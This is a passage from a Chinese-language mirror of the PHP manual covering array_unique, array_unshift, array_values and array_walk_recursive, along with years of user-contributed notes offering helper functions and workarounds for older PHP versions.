   $foo_obj[0] = new foo('tom',20);
   $foo_obj[1] = new foo('paul',66);
   $foo_obj[2] = new foo('tom',23);

   $item = '_name';
   $result = DistinctOn ($foo_obj, $item);

   while(list($k,$v) = each($result)) {
       print "K = ";print_r($k);
       print ",V = ";print_r($v);
       print "<br>";
   }
   //key = 0,so = Object,item = _name,IFlist = Array ( ) ,Forlist = Array ( [0] => tom )
   //key = 1,so = Object,item = _name,IFlist = Array ( [0] => tom ) ,Forlist = Array ( [0] => tom [1] => paul )
   //Forlist = Array ( [0] => tom [1] => paul )
   //K = 0,V = foo Object ( [_name] => tom [_age] => 20 )
   //K = 1,V = foo Object ( [_name] => paul [_age] => 66 )

   print "<br><br>";
   $item = '_age';
   $result = DistinctOn ($foo_obj, $item);
   while(list($k,$v) = each($result)) {
       print "K = ";print_r($k);
       print ",V = ";print_r($v);
       print "<br>";
   }

   //key = 0,so = Object,item = _age,IFlist = Array ( ) ,Forlist = Array ( [0] => 20 )
   //key = 1,so = Object,item = _age,IFlist = Array ( [0] => 20 ) ,Forlist = Array ( [0] => 20 [1] => 66 )
   //key = 2,so = Object,item = _age,IFlist = Array ( [0] => 20 [1] => 66 ) ,
   //    Forlist = Array ( [0] => 20 [1] => 66 [2] => 23 )
   //K = 0,V = foo Object ( [_name] => tom [_age] => 20 )
   //K = 1,V = foo Object ( [_name] => paul [_age] => 66 )
   //K = 2,V = foo Object ( [_name] => tom [_age] => 23 )
?>
matt at remove_mehsmx dot com
17-Feb-2004 08:57
Note that
<?php
array_unique($anyarray);
?>
does not do anything, unlike other array functions such as
<?php
sort($anyarray);
?>
You have to use something like:
<?php
$anyarray = array_unique($anyarray);
?>
14-Jan-2004 09:23
this simple function is similar based on to the function unique_multi_array posted by tru at ascribedata dot com, but will work for objects rather than arrays. use 2d objects. Its eg useful to work with mysql queries since in recent versions, the DISTINCT option in mysql selects will only work when selecting a single (not more) row.

eg.
foo_obj[0]:  name: 'tom', age: '20'
foo_obj[1]:  name: 'paul', age: '66'
foo_obj[2]:  name: 'tom', age: '23'

foo_obj = DistinctOn ($foo_obj, $item) will return

foo_obj[0]:  name: 'tom', age: '20'
foo_obj[1]:  name: 'paul', age: '66'

<?php
function DistinctOn ($obj, $item) {
   $out = array();
   $list = array();
   foreach ($obj as $key=>$so) {
       if (!in_array($so->$item, $list)) {
           $list[] = $so->$item;
           $out[$key] = $so;
       }
   }
   return $out;
}
?>
tru at ascribedata dot com
17-Oct-2003 07:40
Here's a function to make a multi-dimensional array have only DISTINCT values for a certain "column". It's like using the DISTINCT parameter on a SELECT sql statement.

<?php
function unique_multi_array($array, $sub_key) {
   $target = array();
   $existing_sub_key_values = array();
   foreach ($array as $key=>$sub_array) {
       if (!in_array($sub_array[$sub_key], $existing_sub_key_values)) {
           $existing_sub_key_values[] = $sub_array[$sub_key];
           $target[$key] = $sub_array;
       }
   }
   return $target;
}
?>
kay_rules at yahoo dot com
24-May-2003 05:28
this function will return an array with unique value and proper key increment start from 0.

<?php
/*******************************/
function my_array_unique($somearray){
   $tmparr = array_unique($somearray);
   $i=0;
   foreach ($tmparr as $v) {
       $newarr[$i] = $v;
       $i++;
   }
   return $newarr;
}
/********************************/
?>

eg:

<?php
$foo_arr[0] ='aa'
$foo_arr[1] ='bb'
$foo_arr[2] ='cc'
$foo_arr[3] ='bb'
$foo_arr[4] ='aa'
$foo_arr[5] ='dd'
?>

normal array_unique will return:

<?php
$foo_arr[0] ='aa';
$foo_arr[1] ='bb';
$foo_arr[2] ='cc';
$foo_arr[3] ='';
$foo_arr[4] ='';
$foo_arr[5] ='dd'
?>

my_array_unique will return:

<?php
$foo_arr[0] ='aa';
$foo_arr[1] ='bb';
$foo_arr[2] ='cc';
$foo_arr[3] ='dd'
?>
martin at lucas-smith dot co dot uk
27-Jan-2003 09:12
To get a list of the duplicated values in an array, array_unique isn't much help. Instead, use array_filter in conjunction with a callback function, as below:

<?php
$checkKeysUniqueComparison = create_function('$value','if ($value > 1) return true;');
$result = array_keys (array_filter (array_count_values($array), $checkKeysUniqueComparison));
?>

These two lines therefore will create $result, an array of duplicated values in the array $array, once each. E.g. the array
$array = array ("a", "b", "a", "b", "x", "y", "z", "x");
gives the result
Array([0] => a [1] => b [2] => x)
juggler at webworkerinfo dot de
11-Jan-2003 09:20
in addition to bisqwit:
in some cases you can simply use serialize instead of recursivemakehash().

<?php
function array_unique2($input) {
   $tmp = array();
   foreach($input as $a => $b)
       $tmp[$a] = serialize($b);
   $newinput = array();
   foreach(array_unique($tmp) as $a => $b)
       $newinput[$a] = $input[$a];
   return $newinput;
}
?>

Have fun
Juggler
deigo at swirve dot NOSPAM dot com
24-Sep-2002 01:04
Before I found the mysql distinct I had to make a nicer array from the keys/values that I got from array_unique so.
$groups=array_unique($groups);
$newgroup[0]=reset($groups);
for ($x=1;$x<sizeof($groups);$x++)
{
$newgroup[$x]=next($groups);
}
php at hp-site dot dk
30-Aug-2002 02:15
Try this:
array_flip(array_flip($array));

It gives the same result as the old array_unique()
29-Aug-2002 05:39
<?
$truc = array("l810u00","l810u00","l810q00");
$machin = array_unique($truc);
for($i=0;$i < count($machin) ; $i++){
print $machin[$i]."
";
}
?>
result :
l810u00

This is not strange: $machin (as returned by array unique), contains "l810u00" either in key[0] or key[1] but not both (the key depends on the ersion of PHP), and "l810q00" in key[2].
The returned array has TWO elements so count($machin)==2.
The returned array has a hole in it, and you're not displaying its full content. You could verify it by using this display loop instead:
foreach($machine as $key=>$value){
print '[' . $key . '] => ' . $value . '
";
}
result:
[0] => l810q00
[2] => l810u00
(the first line may display [1] instead of [0] for PHP 4.0.1p3, but you'll get the same order of values and two lines, as expected). When calling array_values() on the result, you're building a new array with the same values in the same order, but with renumbered keys (without holes in numeric keys).
bisqwit at iki dot fi
26-May-2002 11:32
The recursivemakehash() in my previous post contained a flaw. Adding md5() to "return $tab;" fixes it making it now possible to distinguish array(0=>'x') from 'F4DBDF218CDC1683' etc.
bisqwit at iki dot fi
25-May-2002 12:36
array_unique() doesn't return anything useful if your input is an
array containing arrays. This function overcomes the problem.
Any level of recursions is possible here. If the input is a plain
array, the result is compatible with array_unique() result.

<?php
function recursivemakehash($tab)
{
  if(!is_array($tab))
   return $tab;
  $p = '';
  foreach($tab as $a => $b)
   $p .= sprintf('%08X%08X', crc32($a), crc32(recursivemakehash($b)));
  return $p;
}
function array_unique2($input)
{
  $dumdum = array();
  foreach($input as $a => $b)
   $dumdum[$a] = recursivemakehash($b);
  $newinput = array();
  foreach(array_unique($dumdum) as $a => $b)
   $newinput[$a] = $input[$a];
  return $newinput;
}
?>
spunk at dasspunk dot NOSPAM dot com
14-Nov-2001 08:52
I needed a way of retaining the original array's keys in the new, unique array. I came up with this. It works for my purposes but may need refinement.

function my_array_unique($somearray)
{
   asort($somearray);
   reset($somearray);
   $currentarrayvar = current($somearray);
   foreach ($somearray as $key=>$var)
   {
       if (next($somearray) != $currentarrayvar)
       {
           $uniquearray[$key] = $currentarrayvar;
           $currentarrayvar = current($somearray);
       }
   }
   reset($uniquearray);
   return $uniquearray;
}
ailanto at kafejo dot com
25-Aug-2001 12:04
As in 4.0.3pl1, array_unique() in 4.0.5 returns the *last* key encountered for every value!
eltehaem at N dot O dot S dot P dot A dot M dot free dot poltronic dot net
11-Aug-2001 10:26
>array_unique() will keep the first key encountered
>for every value, and ignore all following keys.

This is true only in PHP 4.0.4pl1, i.e. the code below:

<?php
$temp = Array ('pl', 'pl', 'en', 'en', 'cz', 'de', 'en', 'pl');
print_r($temp);
print_r(array_unique($temp));
?>

Will produce this output:

Array
(
   [0] => pl
   [1] => pl
   [2] => en
   [3] => en
   [4] => cz
   [5] => de
   [6] => en
   [7] => pl
)
Array
(
   [0] => pl
   [2] => en
   [4] => cz
   [5] => de
)

And in PHP 4.0.3pl1 will produce this output:

Array
(
   [0] => pl
   [1] => pl
   [2] => en
   [3] => en
   [4] => cz
   [5] => de
   [6] => en
   [7] => pl
)
Array
(
   [4] => cz
   [5] => de
   [6] => en
   [7] => pl
)

This little function resolves the problem:

<?php
function my_array_unique(&$old){
   $new = array();
   foreach($old as $key => $value){
       if(!in_array($value, $new)) $new[$key] = $value;
   }
   return $new;
}
?>
az at top-webdesign dot de
11-Jul-2001 04:00
Attention!
If you use array_unique be aware of data-types! (I spent hours of debugging because of that ...).

For example, if you've got an array containing a '3' as number and another '3' as string it won't be eliminated by array_unique.

An Example where this can happen, without really thinking about it:

I've got an article-list with product-numbers where the third and fourth digit is the code for the producer. So I read in the file an process it line by line and put each producer-code into an array:
------------------------------
<?php
$i=0;
while($line = fgets($csv, 10000) {
// splitting the line, product_no is the first part:

$data = explode(";", $line);

// putting the producer_code into an array:

$producer_id[$i] = trim(substr($data[0], 2, 2));

// make a special exception:

if(trim(substr($data[0], 2, 2)) == 40) {
$producer_id[$j] = '30';
}

// in the above line if you leave the 30 without the ''
// array_unique won't work!

$i++;
}

$producer_ids = array_values(array_unique($producer_id));
?>
-------------------------------
Result is to have all producer-ID's in an array without dupes.
az at top-webdesign dot de
11-Jul-2001 03:38
@lefeuvrenicolas

Use the above mentioned combination with "array_values" - then it works.

So do it like this:
--------------------
<?php
$truc = array("l810u00","l810u00","l810q00");
$machin = array_values(array_unique($truc));
for($i=0;$i < count($machin) ; $i++){
echo $machin[$i]."\n";
}
?>
--------------------

But it is strange anyway ...
mads dot rebsdorf at am-vision dot dk
08-May-2001 08:55
To unique an array in newer versions of php - i've found this snippet useful:

<?php
// $old[0] = 1
// $old[1] = 1
// $old[2] = 2
// $old[3] = 1
// $old[4] = 2

$new = array();

for($i=0;$i<count($old);++$i){

   if(in_array($old[$i], $new) != "true"){
       $new[] = $old[$i];
   }
}

//$new now contains:
//
//$new[0] = 1
//$new[1] = 2
?>

/mads
rein at velt dot net
22-Apr-2001 03:44
Following code copies unique values from MyArray to TempArray.
Then copies non-empty elements from TempArray to UniqueArray.

Not the most elegant solution, but it works.

<?php
$TempArray = array_unique($MyArray);
while (list($index,$data)=each($TempArray)) {
     if (isempty($data)) {
         $UniqueArray[$index]=$data;
     }
}
?>
sneze at yahoo dot com
11-Feb-2001 01:47
$users = array_unique($online_users);

foreach($users as $value){
echo $value;
}

saved my day
burno at 33-24-36 dot com
11-Nov-2000 07:28
Or just do a usort($myArray,"return -1"); after the usage of array_unique
matthew_dean at hotmail dot com
26-Oct-2000 10:04
Re: Useful comments from jllamas@bal.com.mx

If you are using a numerically indexed array and you want to make it unique but *with* consecutive indices, you can use array_values(array_unique($myArray));
jllamas at bal dot com dot mx
26-Sep-2000 12:25
It seems that array_unique creates an exact copy of the original array and then elimitates duplicate values. It does NOT change the "internal references" of the array. For example:

<?php
   $test_alfa = array();
   $test_alfa[0] = "aa";
   $test_alfa[1] = "aa";
   $test_alfa[2] = "aa";
   $test_alfa[3] = "bb";
   $test_alfa[4] = "aa";
   $test_alfa[5] = "bb";
   $test_alfa[6] = "cc";
   $test_alfa[7] = "bb";

   $test_beta= array_unique($test_alfa);
   $numValues = count($test_beta);
   for ($i = 0 ; $i <= 7 ; $i++)
       echo("test_beta[$i] = $test_beta[$i] <br>");
   echo ("Number of elements in test_beta = $numValues ");
?>
will give you the following output:

test_beta[0] =
test_beta[1] = aa
test_beta[2] =
test_beta[3] =
test_beta[4] =
test_beta[5] = bb
test_beta[6] = cc
test_beta[7] =
Number of elements in test_beta = 3

The point is that you won't get the output you'd expect if you think that the values of the non duplicate elements are located in the first three array locations.

   $numValues = count($test_beta);
   for ($i=0;$i<=$numValues; $i++)
       echo("test_beta[$i] = $test_beta[$i] <br>");
   echo ("Number of elements in test_beta = $numValues ");

will give you:

test_beta[0] =
test_beta[1] = aa
test_beta[2] =
Number of elements in test_beta = 3

Hope that saves u some debugging time!
sterba at locksley-west dot com
05-Sep-2000 03:30
Maybe this will come handy for PHP3 users:
<?php
for ($a = 0; $a < $arraylength; $a++){
   if (($a > 0)&&($array[$a] <> $array[$a-1]))
       $uniquearray[$a] = $array[$a];

   $a++;
}
?>

You can even skip the $a>0 test, I believe... not bulletproof, but much shorter.
moose at ucdavis dot edu
16-Aug-2000 05:08
Here's a little function I wrote that's similar to array_unique, for PHP3 users.  It actually removes duplicated elements, but only works for 1 dimensional arrays.  It also doesn't return a value, it changes the input array:

<?php
function array_unique(&$thearray)
{sort($thearray);
 reset($thearray);

 $newarray = array();
 $i = 0;

 $element = current($thearray);
 for ($n=0;$n<sizeof($thearray);$n++)
 {if (next($thearray) != $element)
  {$newarray[$i] = $element;
   $element = current($thearray);
   $i++;
  }
 }
 $thearray = $newarray;
}
?>
add a note add a note

后退 | 起点 | 前进
array_uintersect | 上一级 | array_unshift


array_unshift

(PHP 4, PHP 5)

array_unshift -- 在数组开头插入一个或多个单元

说明

int array_unshift ( array &array, mixed var [, mixed ...] )

array_unshift() 将传入的单元插入到 array 数组的开头。注意单元是作为整体被插入的，因此传入单元将保持同样的顺序。所有的数值键名将修改为从零开始重新计数，所有的文字键名保持不变。

返回 array 数组新的单元数目。

例子 1. array_unshift() 例子

<?php
$queue = array("orange", "banana");
array_unshift($queue, "apple", "raspberry");
?>

这将使 $queue 包含如下单元：

Array
(
    [0] => apple
    [1] => raspberry
    [2] => orange
    [3] => banana
)

参见 array_shift()，array_push() 和 array_pop()。

add a note add a note User Contributed Notes
John Brooking
03-Jun-2006 09:54
I had a need tonight to convert a numeric array from 1-based to 0-based, and found that the following worked just fine due to the "side effect" of renumbering:

   array_unshift( $myArray, array_shift( $myArray ));
07-Nov-2005 03:38
function multi_array_search($search_value, $the_array)
{
   if (is_array($the_array))
   {
       foreach ($the_array as $key => $value)
       {
           $result = multi_array_search($search_value, $value);
           if (is_array($result))
           {
               $return = $result;
               array_unshift($return, $key);
               return $return;
           }
           elseif ($result == true)
           {
               $return[] = $key;
               return $return;
           }
       }
       return false;
   }
   else
   {
       if ($search_value == $the_array)
       {
           return true;
       }
       else return false;
   }
}
php at electricsurfer dot com
27-Feb-2004 10:20
even simpler unshifting of a reference !
<?php
/**
 * @return int
 * @param $array array
 * @param $value mixed
 * @desc Prepend a reference to an element to the beginning of an array. Renumbers numeric keys, so $value is always inserted to $array[0]
 */
function array_unshift_ref(&$array, &$value)
{
   $return = array_unshift($array,'');
   $array[0] =& $value;
   return $return;
}
?>
lagroue
09-Nov-2003 08:46
Last version of PHP deprecated unshifting of a reference.
You can use this function instead :

<?php
function array_unshift1 (& $ioArray, $iValueWrappedInAnArray) {
   $lNewArray = false;
   foreach (array_keys ($ioArray) as $lKey)
       $lNewArray[$lKey+1] = & $ioArray[$lKey];
   $ioArray = array (& $iValueWrappedInAnArray[0]);
   if ($lNewArray)
       foreach (array_keys ($lNewArray) as $lKey)
             $ioArray[] = & $lNewArray[$lKey];
   return count($ioArray);
}

// before last PHP (now generates a deprecation warning)
array_unshift ($a, &$v);
// since last PHP (caution, there is a wrapping array !!)
array_unshift1 ($a, array (&$v));
?>
chris dot NoThxSpam dot given at hp dot com
24-Jul-2003 03:17
If you need to change the name of a key without changing its position in the array this function may be useful.

<?php
function array_key_change($Old, $New, $In, $NewVal=NULL) {
       $Temp = array();
       while(isset($Temp[$Old]) == false) {
               list($k, $v) = each($In);
               $Temp[$k] = $v;
               unset($In[$k]);
       }
       if($NewVal == NULL) {
               $NewVal = $Temp[$Old];
       }
       unset($Temp[$Old]);
       $Temp = array_reverse($Temp);
       $In = array_merge(array($New=>$NewVal), $In);
       while(list($k,$v) = each($Temp)) {
               $In = array_merge(array($k=>$v), $In);
       }
       return($In);
}
?>
rsmith_NOSPAM_ at _NOSPAM_unitec dot ac dot nz
31-Jul-2002 10:00
array_merge() will also reindex (see array_merge() manual entry), but the '+' operator won't, so...

<?php
$arrayone=array("newkey"=>"newvalue") + $arrayone;
?>

does the job.
TimHyde at C21Technology dot com
18-Jul-2002 08:04
A simpler way to implement an array_unshift with key=>value pairs (i.e. similar to the example using array_reverse above) is to use array_merge.  i.e.

<?php
$arrayone=array_merge(array("newkey"=>"newvalue"),$arrayone);
?>

Obviously you need to take care when adding numeric or duplicate keys.
jrh_at_geodata.soton.ac.uk
11-Jul-2002 12:30
I have found array_unshift is a function that should be avoided when unshifting lots of data in large arrays.

In a recent script I wrote, it took approx. 24 seconds to unshift 3500 timestamps to an array, a work around could be to use array_reverse and array_push. Array_push is much faster due to the indexing.
robert dot wills at fuzzbrain dot uklinux dot net
07-Feb-2002 10:02
Actually this problem with the keys getting reindexed only happens when the keys are numerical:

<?php

$a = array("f"=>"five", "s" =>"six", "t" =>
       "twenty");

print_r($a);
echo "\n";
foreach($a as $key=>$val)
{
   echo "k: $key v: $val \n";
}

array_unshift($a, "zero");
print_r($a);
echo "\n";
foreach($a as $key=>$val)
{
   echo "k: $key v: $val \n";
}
?>

Array
(
   [f] => five
   [s] => six
   [t] => twenty
)

k: f v: five
k: s v: six
k: t v: twenty
Array
(
   [0] => zero
   [f] => five
   [s] => six
   [t] => twenty
)

k: 0 v: zero
k: f v: five
k: s v: six
k: t v: twenty
sahn at hmc dot edu
28-Jul-2001 03:21
If you need to prepend something to the array without the keys being reindexed and/or need to prepend a key value pair, you can use this short function:

<?php
function array_unshift_assoc(&$arr, $key, $val)
{
   $arr = array_reverse($arr, true);
   $arr[$key] = $val;
   $arr = array_reverse($arr, true);
   return count($arr);
}
?>
matt at synergie dot net
19-Sep-2000 01:20
The behaviour of unshift nearly caught me out.
Not only is the item added at the start of the list but the list is re-indexed too.

<?php

$a = array(5=>"five", 6 =>"six", 20 => "twenty");

while(list($key, $value) = each($a))
   echo "k: $key v: $value<BR>\n";

echo "<BR>\n";
array_unshift($a, "zero");

while(list($key, $value) = each($a))
   echo "k: $key v: $value<BR>\n";

?>

k: 5 v: five
k: 6 v: six
k: 20 v: twenty

k: 0 v: zero
k: 1 v: five
k: 2 v: six
k: 3 v: twenty
add a note add a note

后退 | 起点 | 前进
array_unique | 上一级 | array_values


array_values

(PHP 4, PHP 5)

array_values -- 返回数组中所有的值

说明

array array_values ( array input )

array_values() 返回 input 数组中所有的值并给其建立数字索引。

例子 1. array_values() 例子

<?php
$array = array("size" => "XL", "color" => "gold");
print_r(array_values($array));
?>

上例将输出：

Array
(
    [0] => XL
    [1] => gold
)

参见 array_keys()。

add a note add a note User Contributed Notes
wizglins at gmx dot ch
14-Apr-2006 03:21
In case you want to replace all keys in multiarrays by integers starting at 0, the following function might help.

<?php

function numerieren($array)
{
$array_v = array_values($array);
$count_v = count($array_v);

for ($i=0; $i<$count_v; $i++)
  if (is_array($array_v[$i]))
   $array_v[$i] = numerieren($array_v[$i]);
return $array_v;
}

?>
Yassin Ezbakhe <yassin88 at gmail dot com>
01-Sep-2005 07:28
<?php
/**********************************************
 *
 *  PURPOSE: Flatten a deep multidimensional array into a list of its
 *  scalar values
 *
 *  array array_values_recursive (array array)
 *
 *  WARNING: Array keys will be lost
 *
 *********************************************/

function array_values_recursive($array)
{
   $arrayValues = array();

   foreach ($array as $value)
   {
       if (is_scalar($value) OR is_resource($value))
       {
             $arrayValues[] = $value;
       }
       elseif (is_array($value))
       {
             $arrayValues = array_merge($arrayValues, array_values_recursive($value));
       }
   }

   return $arrayValues;
}
?>

This function is an improved and faster version of the one posted by <27-Apr-2004 09:47>
kars at kde dot nl
24-May-2005 06:08
Also, objects in the array that were added by reference are handled correctly as well:

class Foo {
       var $n;

       function Foo ($n) {
               $this->n = $n;
       }
}

$a = new Foo(1);
$b = new Foo(2);
$c = new Foo(3);
$l = array(&$a, &$b, &$c); // add by reference
$m = array_values($l);

$a->n = 5;

echo $m[0]->n;

This prints "5" as you would expect.
28-Apr-2004 09:47
<?php
/**
   flatten an arbitrarily deep multidimensional array
   into a list of its scalar values
   (may be inefficient for large structures)
   (will infinite recurse on self-referential structures)
   (could be extended to handle objects)
*/
function array_values_recursive($ary)
{
   $lst = array();
   foreach( array_keys($ary) as $k ){
     $v = $ary[$k];
     if (is_scalar($v)) {
         $lst[] = $v;
     } elseif (is_array($v)) {
         $lst = array_merge( $lst,
           array_values_recursive($v)
         );
     }
   }
   return $lst;
}
?>

code till dawn!  -mark meves!
cyberphant0m AT earthlink DOT net
28-Feb-2004 01:24
That may be true, however I doubt that anyone should have that big of an array. If they do then they probably are doing some intense computing in which case, they may want to opt for the power of C++.
nopy at users dot sourceforge dot net
24-Oct-2003 06:36
Just a warning that re-indexing an array by array_values() may cause you to reach the memory limit unexpectly.

For example, if your PHP momory_limits is 8MB,
 and says there's a BIG array $bigArray which allocate 5MB of memory.

Doing this will cause PHP exceeds the momory limits:

<?php
  $bigArray = array_values( $bigArray );
?>

It's because array_values() does not re-index $bigArray directly,
it just re-index it into another array, and assign to itself later.
04-Nov-2002 11:48
also useful to use for list(), if the array for input is the result of a function that only returns associative arrays:

list($var1, $var2, $var3) = array_values(myfunc("only returns assoc arrays"));
mailseppel at gmx dot de
04-Oct-2002 07:10
Remember, that the following way of fetching data from a mySql-Table will do exactly the thing as carl described before: An array, which data may be accessed both by numerical and DB-ID-based Indexes:

<?php
$row = mysql_fetch_array($db_result, $db_link);
?>

Hope I haven't misunderstood anything here.. :)
carl at thep.lu.se
30-Jan-2002 07:59
Indeed you can, and that's what's so great about it. I have, for instance, a function that returns the results of a database query as an array. I want to keep the order that the entries were returned in, but at the same time I want to be able to access them _either_ by the position _or_ by some other index (such as some sort of ID in the database, gotten from elsewhere). In this case, I can make the function return an array from id to [array of values], and by a simple call to array_values() this is transformed into an array indexed from 0 to count()-1. Useful.
richard at phpguru dot org
20-Dec-2001 04:56
If you have a numerically indexed array with some keys missing, ie 1, 2, 4, 5 and you want to reindex it so it's 1,2,3,4 *without changing the positions of the values* (ie sort()) then you can use this function to do it.
add a note add a note

后退 | 起点 | 前进
array_unshift | 上一级 | array_walk_recursive


array_walk_recursive

(PHP 5)

array_walk_recursive -- 对数组中的每个成员递归地应用用户函数

说明

bool array_walk_recursive ( array &input, callback funcname [, mixed userdata] )

将用户自定义函数 funcname 应用到 array 数组中的每个单元。本函数会递归到更深层的数组中去。典型情况下 funcname 接受两个参数。input 参数的值作为第一个，键名作为第二个。如果提供了可选参数 userdata，将被作为第三个参数传递给 callback funcname。

如果成功则返回 TRUE，失败则返回 FALSE。

注: 如果 funcname 需要直接作用于数组中的值，则给 funcname 的第一个参数指定为引用。这样任何对这些单元的改变也将会改变原始数组本身。

例子 1. array_walk_recursive() 例子

<?php
$sweet = array('a' => 'apple', 'b' => 'banana');
$fruits = array('sweet' => $sweet, 'sour' => 'lemon');

function test_print($item, $key)
{
    echo "$key holds $item\n";
}

array_walk_recursive($fruits, 'test_print');
?>

上例将输出：

a holds apple
b holds banana
sour holds lemon

注意上例中的键 'sweet' 并没有显示出来。任何其值为数组的键都不会被传递到回调函数中去。

参见 array_walk() 和有关 callback 类型的信息。

add a note add a note User Contributed Notes
gieterke at gmail dot com
29-Mar-2006 08:59
I think there are a lot of people who want/have to work object oriented.
this is an Object oriented version

the code is written in PHP5
<?php
   //auto overload classes, so you don't have to put in all the includes
   function __autoload($class_name) {
       require_once $class_name . '.php';
   }

   echo "TESTING: arraywalker<br>";
   $anObject = new ClassName();

   //array_walk_recursive($anObject->getFruits(), 'test_print'); => doesn't work
   array_walk_recursive($anObject->getFruits(), array(&$anObject, 'test_print'));

   echo"<br><br>";
       //if you just want to give the array and not hte function name that handles the array
   $anObject->arrWalker($anObject->getFruits());
?>

<?php
//Class description---------------------------------------------
class ClassName {
   //Class variables
   private $sweet = array();
   private $fruits = array();

   //Constructor
   public function __construct(){
       $this->sweet = array('a' => 'apple', 'b' => 'banana');
       $this->fruits = array('sweet' => $this->sweet, 'sour' => 'lemon');
   }

   //public methods
   public function getFruits(){
       return $this->fruits;
   }

   public function test_print($item, $key){
       echo "$key holds $item\n<br>";
   }

   public function arrWalker($arr){
       array_walk_recursive($arr, array(&$this, 'test_print'));

   }
}
?>

the code above gives following input:
TESTING: arraywalker
a holds apple
b holds banana
sour holds lemon

a holds apple
b holds banana
sour holds lemon
egingell at sisna dot com
18-Mar-2006 05:53
Slightly modified version of array_walk_recursive function by "omega13a at sbcglobal dot net"

$function also modifies the keys in addition to the values.

Usefull if you want to trim() the keys and values of an array.

The $key in $funcname would also have to be passed by referrence.

Named 'array_walk_recursive2' since it is not the same as the PHP5 version, you can rename it to 'array_walk_recursive' if you are running PHP4 and have no reason to upgrade.

<?
function funcname(&$value, &$key, $userdata = "") {
   // Do stuff to $value and $key
}

function array_walk_recursive2(&$input, $funcname, $userdata = "") {
   if (!is_callable($funcname)) {
       return false;
   }

   if (!is_array($input)) {
       return false;
   }

   foreach ($input AS $key => $value) {
       if (is_array($input[$key])) {
           array_walk_recursive2($input[$key], $funcname, $userdata);
       } else {
           $saved_value = $value;
           $saved_key = $key;
           if (!empty($userdata)) {
               $funcname($value, $key, $userdata);
           } else {
               $funcname($value, $key);
           }

           if ($value != $saved_value || $saved_key != $key) {
               unset($input[$saved_key]);
               $input[$key] = $value;
           }
       }
   }
   return true;
}
?>
gabrielu at hotmail dot com
22-Feb-2006 05:13
I decided to add to the previous PHP 4 compatible version of array_walk_recursive() so that it would work within a class and as a standalone function.  Both instances are handled by the following function which I modified from omega13a at sbcglobal dot net.

The following example is for usage within a class.  To use as a standalone function take it out of the class and rename it.  (Example: array_walk_recursive_2)

<?php
class A_Class {

function array_walk_recursive(&$input, $funcname, $userdata = '') {
  if(!function_exists('array_walk_recursive')) {
   if(!is_callable($funcname))
     return false;

   if(!is_array($input))
     return false;

   foreach($input as $key=>$value) {
     if(is_array($input[$key])) {
       if(isset($this)) {
         eval('$this->' . __FUNCTION__ . '($input[$key], $funcname, $userdata);');
       } else {
         if(@get_class($this))
           eval(get_class() . '::' . __FUNCTION__ . '($input[$key], $funcname, $userdata);');
         else
           eval(__FUNCTION__ . '($input[$key], $funcname, $userdata);');
       }
     } else {
       $saved_value = $value;

       if(is_array($funcname)) {
         $f = '';
         for($a=0; $a<count($funcname); $a++)
           if(is_object($funcname[$a])) {
             $f .= get_class($funcname[$a]);
           } else {
             if($a > 0)
               $f .= '::';
             $f .= $funcname[$a];
           }
         $f .= '($value, $key' . (!empty($userdata) ? ', $userdata' : '') . ');';
         eval($f);
       } else {
         if(!empty($userdata))
           $funcname($value, $key, $userdata);
         else
           $funcname($value, $key);
       }

       if($value != $saved_value)
         $input[$key] = $value;
     }
   }
   return true;
  } else {
   array_walk_recursive($input, $funcname, $userdata);
  }
}

function kv_addslashes(&$v, $k) {
  $v = addslashes($v);
}
}
?>

Usage:
<?php
$arr = array(
  'a' => '"Hello World"',
  'b' => "'Hello World'",
  'c' => "Hello 'Worl\"d",
  'd' => array(
   'A' => 'H"e"l"l"o" "W"o"r"l"d'
   )
  );

$class = new A_Class();
$class->array_walk_recursive($arr, array(&$class, 'kv_addslashes'));
print_r($arr);
?>
omega13a at sbcglobal dot net
22-Dec-2005 08:21
This is a peice of code I wrote that appears to create this function for PHP 4.

<?php
if (!function_exists('array_walk_recursive'))
{
   function array_walk_recursive(&$input, $funcname, $userdata = "")
   {
       if (!is_callable($funcname))
       {
           return false;
       }

       if (!is_array($input))
       {
           return false;
       }

       foreach ($input AS $key => $value)
       {
           if (is_array($input[$key]))
           {
               array_walk_recursive($input[$key], $funcname, $userdata);
           }
           else
           {
               $saved_value = $value;
               if (!empty($userdata))
               {
                   $funcname($value, $key, $userdata);
               }
               else
               {
                   $funcname($value, $key);
               }

               if ($value != $saved_value)
               {
                   $input[$key] = $value;
               }
           }
       }
       return true;
   }
}
?>

Please note it is a conditionaly set function and will have to be put before any call to it.

If there is anything wrong with it, please email me.
cory at lavacube dot com
07-Dec-2005 06:09
A simple way to implement array_walk_recursive() in PHP 4 is to use to do the following...

<?php

// first, lets define our function
   function test_array_walkr( &$item, $key )
   {
       // do what you want to do here - in this example we will
       // check to see if $item is an array. If it is, we will
       // check to see if the key '.hide' exists. If this exists,
       // we will set the entire array to NULL;
       if( is_array($item) && array_key_exists('.hide', $item) )
       {
           $item = NULL;
       }

       // this is the code that causes the recursive effect
       // we do this after, to allow for any changes to $item
       // to be included in the next recursive call...
       if( is_array($item) )
       {
           array_walk($item, __FUNCTION__);
       }
   }

// next, let's define our array:
$test = array(
               'one'    => array('one->one', 'one->two', 'one->three'),
               'two'    => array('.hide'=>true, 'two->one', 'two->two', 'two->three'),
               'three'    => array('three->one', 'three->two', 'three->three')
           );

// lets run the test. ;-)
   array_walk($test, 'test_array_walkr');

// ... and get the results
   print_r($test);

?>

This example will yeild:
Array
(
   [one] => Array
       (
           [0] => one->one
           [1] => one->two
           [2] => one->three
       )
   [two] =>
   [three] => Array
       (
           [0] => three->one
           [1] => three->two
           [2] => three->three
       )
)

Hope this helps someone. :-)
aidan at php dot net
22-Feb-2005 03:10
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
hannes (at) tismer.com
15-Dec-2004 03:08
I wondered about an array_mergedown function working with PHP4, using an array_walk_recursive-like function which just merges any number of arrays of any dimension to a one dimension array containing every key=>value part of all arrays:

<?php
function array_mergedown() {
   global $outarray;
   $outarray = array();
   function array_walk_recphp4(&$val,$key) {
       global $outarray;
       if (is_array($val)) array_walk($val,'array_walk_recphp4');
       else {
           $outarray[$key] = $val;
       }
   }
   $params = func_get_args();
   foreach ($params as $subarr) {
       array_walk_recphp4($subarr, '');
   }
   return $outarray;
}
?>

For testing:

<?php
$arr1[]["foo1"] = "bar1";
$arr2["foo2"] = "bar2";
$arr2[12] = "bar3";
$arr2[10]["foo4"] = "bar4";
$arr2[]["foo4"][0]["foo5"] = "bar5";
$arr3 = "nono";

print_r(array_mergedown($arr1, $arr2, $arr3));
?>

returns:
